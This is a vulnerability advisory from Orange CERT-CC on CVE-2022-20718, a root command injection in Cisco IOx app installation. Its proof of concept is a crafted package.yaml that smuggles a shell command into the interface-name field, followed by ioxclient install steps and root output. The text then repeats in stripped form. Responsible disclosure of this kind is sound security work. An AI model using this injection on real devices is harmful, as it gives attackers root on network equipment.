Overview
Cisco provides an API for IOX. Through this API we can install apps.
Impact
While installing a crafted app an authenticated user can gain unrestricted root execution on Linux host.
Details
App installation require a valid tar archive. This tar require a "package.yaml" file that describes the app.
The interface field of "package.yaml" is taken without any validation to setup the network by Cisco Application Framework (CAF).
This field is append to an array for the command but at the end this array is concatenated and sent to a shell.
Pseudo code
[...]
cmd.append(intf)
[...]
subprocess.check_output((' ').join(cmd), stderr=subprocess.STDOUT, shell=True
Shell within interface field will be interpreted.
Tested versions
This vulnerability have been tested on Cisco ISR4200.
NR-4221-3#show version
Cisco IOS XE Software, Version 17.03.02
Cisco IOS Software [Amsterdam], ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9_IAS-M), Version 17.3.2, RELEASE SOFTWARE (fc3)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2020 by Cisco Systems, Inc.
Compiled Sat 31-Oct-20 13:21 by mcpre
Proof of Concept
Prerequisite: enable iox and an app (guestshell for instance)
# show run
iox
...
app-hosting appid guestshell
app-vnic management guest-interface 0
...
Then in create the following "package.yaml" file:
descriptor-schema-version: "2.8"
info:
name: GuestShell
description: "Hacked Cisco Systems Guest Shell XE for x86_64"
version: "3.1.1"
author-link: "http://www.cisco.com"
author-name: "Cisco Systems"
app:
type: lxc
cpuarch: "x86_64"
kernel-version: "4.19.88"
env:
GUESTSHELL: yes
system-capabilities:
net_admin: on
resources:
profile: custom
cpu: 800
memory: 256
disk: 1
network:
- interface-name: eth0$(id > /bootflash/cmdi)
# Specify runtime and startup
startup:
rootfs: min.ext2
target: /sbin/init
Then rebuild the app (here we took guestshell.tar):
./ioxclient application stop guestshell
./ioxclient application deactivate guestshell
rm guestshell.tar
./ioxclient package -n guestshell --skip-signing .
./ioxclient application uninstall guestshell
./ioxclient application install guestshell guestshell.tar
./ioxclient application activate guestshell
The result can see here:
NR-4221-3#term shell
NR-4221-3#cat bootflash:cmdi
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_caf_t:s0
Solution
Recommandations sent to PSIRT
We suggest to:
- apply user input validation
- do not use shell=True on subprocess calls
Security patch
Upgrade to patched version (see above).
Workaround
There are no workarounds that address this vulnerability.
References
https://nvd.nist.gov/vuln/detail/CVE-2022-20718
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iox-yuXQ6hFj
Credits
Orange CERT-CC
Cyrille CHATRAS at Orange group
Timeline
Date reported: June 06, 2021
Date fixed: April 13, 2022
Overview
Cisco provides an API for IOX. Through this API we can install apps.
Impact
While installing a crafted app an authenticated user can gain unrestricted root execution on Linux host.
Details
App installation require a valid tar archive. This tar require a "package.yaml" file that describes the app.
The interface field of "package.yaml" is taken without any validation to setup the network by Cisco Application Framework (CAF).
This field is append to an array for the command but at the end this array is concatenated and sent to a shell.
Pseudo code
Shell within interface field will be interpreted.
Tested versions
This vulnerability have been tested on Cisco ISR4200.
Proof of Concept
Prerequisite: enable iox and an app (guestshell for instance)
Then in create the following "package.yaml" file:
Then rebuild the app (here we took guestshell.tar):
The result can see here:
Solution
Recommandations sent to PSIRT
We suggest to:
Security patch
Upgrade to patched version (see above).
Workaround
There are no workarounds that address this vulnerability.
References
https://nvd.nist.gov/vuln/detail/CVE-2022-20718
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iox-yuXQ6hFj
Credits
Orange CERT-CC
Cyrille CHATRAS at Orange group
Timeline
Date reported: June 06, 2021
Date fixed: April 13, 2022